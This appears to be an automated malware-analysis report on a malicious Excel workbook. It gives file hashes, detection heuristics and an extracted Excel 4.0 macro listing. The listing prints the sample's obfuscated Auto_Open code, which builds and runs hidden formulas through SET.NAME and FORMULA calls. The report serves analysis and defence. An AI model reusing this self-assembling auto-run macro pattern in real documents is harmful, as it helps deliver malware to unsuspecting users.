Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7f8aefccd29319e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:29 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 41d8d02b50f44c04fb2aa213867e8eae SHA-1: 6edadc121701af7f765afb6f40dea0ede982f87a SHA-256: e7f8aefccd29319eef7efde8006813ff159a468e08e21c174a1695533142d404
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6529 bytes
SHA-256: e15571160580b5a3335348824ddc09c284d750aa9173ae1f4858bf43f88e3d91
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'nRkvjRdVQwaB') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oWiH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H195 
' 0018     25 LABEL : Cell Value, String Constant - bbbwNVCHFq len=0 
' 0018     26 LABEL : Cell Value, String Constant - BCwzDtKlaVB len=0 
' 0018     21 LABEL : Cell Value, String Constant - GNgKoZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - hpcEeMfYr len=0 
' 0018     23 LABEL : Cell Value, String Constant - iCKUjcOu len=0 
' 0018     23 LABEL : Cell Value, String Constant - KmSJJFje len=0 
' 0018     23 LABEL : Cell Value, String Constant - KQqKmDOO len=0 
' 0018     23 LABEL : Cell Value, String Constant - kWVEiXhc len=0 
' 0018     25 LABEL : Cell Value, String Constant - MBUFImGLVy len=0 
' 0018     27 LABEL : Cell Value, String Constant - nRkvjRdVQwaB len=0 
' 0018     27 LABEL : Cell Value, String Constant - SxIYrhNvNEYl len=0 
' 0018     25 LABEL : Cell Value, String Constant - syUWDqJTmE len=0 
' 0018     21 LABEL : Cell Value, String Constant - TJqjbo len=0 
' 0018     26 LABEL : Cell Value, String Constant - TnkKnMnphQs len=0 
' 0018     27 LABEL : Cell Value, String Constant - UfVEqygespaq len=0 
' 0018     25 LABEL : Cell Value, String Constant - UuyNaMrFMy len=0 
' 0018     26 LABEL : Cell Value, String Constant - WckrqEOyACx len=0 
' 0018     23 LABEL : Cell Value, String Constant - XFcucSWp len=0 
' 0018     24 LABEL : Cell Value, String Constant - YAdxfkAwL len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZBXvFzA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oWiH,H103,"SET.NAME("UfVEqygespaq",VALUE("0"))",""
'  oWiH,H105,"SET.NAME("hpcEeMfYr",UfVEqygespaq)",""
'  oWiH,H108,"SET.NAME("BCwzDtKlaVB",UfVEqygespaq)",""
'  oWiH,H113,"SET.NAME("KQqKmDOO",COUNTA(nRkvjRdVQwaB))",""
'  oWiH,H115,"SET.NAME("TnkKnMnphQs",COUNTA(syUWDqJTmE))",""
'  oWiH,H120,[],""
'  oWiH,H125,"SET.NAME("kWVEiXhc","")",""
'  oWiH,H128,"hpcEeMfYr",""
'  oWiH,H132,"SET.NAME("iCKUjcOu",HLOOKUP("*",nRkvjRdVQwaB,hpcEeMfYr,FALSE))",""
'  oWiH,H136,"bbbwNVCHFq",""
'  oWiH,H140,"SET.NAME("XFcucSWp",UfVEqygespaq)",""
'  oWiH,H143,[],""
'  oWiH,H145,"XFcucSWp",""
'  oWiH,H150,"KmSJJFje",""
'  oWiH,H152,"WckrqEOyACx",""
'  oWiH,H155,"GNgKoZ",""
'  oWiH,H160,"SET.NAME("ZBXvFzA",VALUE(HLOOKUP("*",syUWDqJTmE,GNgKoZ,FALSE)))",""
'  oWiH,H163,"YAdxfkAwL",""
'  oWiH,H165,"kWVEiXhc",""
'  oWiH,H168,"BCwzDtKlaVB",""
'  oWiH,H173,NEXT(),""
'  oWiH,H178,"SxIYrhNvNEYl",""
'  oWiH,H181,"SET.NAME("f",INT(T(FORMULA(T(kWVEiXhc)&"",""&T(SxIYrhNvNEYl)))))",""
'  oWiH,H183,"MBUFImGLVy",""
'  oWiH,H186,NEXT(),""
'  oWiH,H191,RETURN(),""
'  oWiH,H220,"SET.NAME("TJqjbo",H103)",""
'  oWiH,H224,"nRkvjRdVQwaB",""
'  oWiH,H227,"SET.NAME("syUWDqJTmE",R77C13)",""
'  oWiH,H232,"SET.NAME("MBUFImGLVy",242)",""
'  oWiH,H236,"SET.NAME("UuyNaMrFMy",8)",""
'  oWiH,H241,TJqjbo(),""
'  oWiH,H242,HALT(),""